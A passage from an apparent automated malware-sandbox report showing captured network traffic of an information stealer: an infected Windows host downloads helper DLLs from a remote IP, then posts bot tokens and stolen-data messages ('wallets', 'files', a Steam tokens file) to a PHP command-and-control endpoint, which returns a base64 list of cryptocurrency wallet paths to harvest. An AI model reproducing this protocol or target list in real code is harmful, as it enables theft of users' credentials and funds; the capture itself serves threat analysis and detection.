00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 29, 2024 02:46:42.112324953 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 29, 2024 02:46:42.112992048 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 29, 2024 02:46:42.868369102 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 02:46:43.217869997 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 29, 2024 02:46:43.925129890 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 02:46:44.207030058 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 29, 2024 02:46:46.130424023 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 02:46:46.412456989 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 29, 2024 02:46:46.678639889 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 02:46:46.960433006 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:46 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 29, 2024 02:46:47.472347021 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIDGCFHIEHJJJJECAK Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 02:46:48.255171061 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 02:46:48.316274881 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAFCAKEHDHDHIDHDGDH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 43 41 4b 45 48 44 48 44 48 49 44 48 44 47 44 48 2d 2d 0d 0a Data Ascii: ------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------CBAFCAKEHDHDHIDHDGDHContent-Disposition: form-data; name="message"wallets------CBAFCAKEHDHDHIDHDGDH--
Oct 29, 2024 02:46:48.599896908 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:48 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 29, 2024 02:46:48.602483034 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHCBGIIJKEBFCBGDBAEB Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 43 42 47 49 49 4a 4b 45 42 46 43 42 47 44 42 41 45 42 2d 2d 0d 0a Data Ascii: ------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------FHCBGIIJKEBFCBGDBAEBContent-Disposition: form-data; name="message"files------FHCBGIIJKEBFCBGDBAEB--
Oct 29, 2024 02:46:48.886296034 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 02:46:48.899995089 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKEHJJDAAAAKECBGHD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="file"------JEBKEHJJDAAAAKECBGHD--
Oct 29, 2024 02:46:49.669420958 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 02:46:49.701847076 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJDGHIJDGCBAAAAAFIJ Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 44 47 48 49 4a 44 47 43 42 41 41 41 41 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------FHJDGHIJDGCBAAAAAFIJContent-Disposition: form-data; name="message"ybncbhylepme------FHJDGHIJDGCBAAAAAFIJ--
Oct 29, 2024 02:46:49.986176014 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 02:46:49.987282991 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFBAEBKJKFIDHJJKJK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 39 39 38 66 64 33 65 66 61 30 62 65 34 39 66 34 36 36 31 34 37 62 35 64 34 30 38 61 34 63 37 36 37 63 30 61 65 61 65 66 34 32 35 63 37 31 65 66 31 39 34 35 37 63 36 38 39 66 33 30 36 64 39 65 39 63 30 66 37 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="token"d3998fd3efa0be49f466147b5d408a4c767c0aeaef425c71ef19457c689f306d9e9c0f7b------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HDAFBAEBKJKFIDHJJKJK--
Oct 29, 2024 02:46:50.758384943 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	142.250.186.132	443	7240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:16 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
